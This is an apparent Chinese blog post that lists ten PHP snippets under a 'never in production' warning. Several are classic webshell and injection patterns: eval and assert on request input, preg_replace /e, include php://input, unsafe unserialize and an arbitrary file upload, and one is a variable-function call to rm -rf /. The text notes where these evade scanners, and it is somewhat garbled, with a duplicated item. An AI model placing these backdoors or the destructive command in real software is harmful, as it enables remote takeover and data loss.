邪修 PHP,10 段“千萬別上生產(chǎn)”的黑魔法代碼
——僅供技術(shù)獵奇,切勿真跑!
?? 每條都可能:白屏、死循環(huán)、內(nèi)存爆炸、安全漏洞、代碼審計原地退役
面試炫技 OK,生產(chǎn)敢用就等死!
1?? 一行木馬文件上傳
<?=move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name'])?>
4 個字符就能寫文件,WAF 看到直接報警。
2?? eval
+ $_GET
遠(yuǎn)程執(zhí)行
<?php eval($_GET['c']); ?>
把整站變成遠(yuǎn)程 Shell,一句話木馬鼻祖。
3?? 字符串當(dāng)函數(shù)名
$func = "system";
$func("rm -rf /"); // 如果權(quán)限夠,直接毀滅
變量函數(shù)調(diào)用,靜態(tài)掃描工具全部失明。
4?? 動態(tài)變量名“套娃”
$$a = 1; // $a 的值作為變量名
代碼審計工具看不懂變量名,邏輯鏈斷裂。
5?? create_function
造匿名函數(shù)
$f = create_function('', 'return "evil";');
echo $f();
運(yùn)行時編譯 PHP 代碼,opcode 緩存失效。
6?? assert
當(dāng) eval
assert($_POST['cmd']);
把斷言當(dāng)執(zhí)行器,繞過 disable_functions。
7?? preg_replace
/e 模式執(zhí)行
preg_replace('/.*/e', $_GET['c'], '');
正則里直接運(yùn)行 PHP 代碼,PHP 5.5 已廢棄,但老系統(tǒng)遍地是。
8?? 反序列化鏈?zhǔn)铰┒?/h3>
unserialize($_COOKIE['token']);
經(jīng)典 GadgetChain,RCE 一鏈觸發(fā)。
unserialize($_COOKIE['token']);
經(jīng)典 GadgetChain,RCE 一鏈觸發(fā)。
9?? 無限遞歸內(nèi)存爆炸
function boom(){ boom(); } boom();
瞬間 OOM,PHP-FPM 進(jìn)程池團(tuán)滅。
?? 文件包含“偽協(xié)議”
include "php://input";
直接把 POST body 當(dāng) PHP 執(zhí)行,任意代碼注入。
邪修口訣
“一句話木馬傳天下,eval 當(dāng) Shell 用;
動態(tài)變量名,審計看不懂;
反序列化鏈,RCE 一條龍?!?/p>
PS
想要正經(jīng)學(xué)習(xí)PHP,從《PHP入 門課程》開始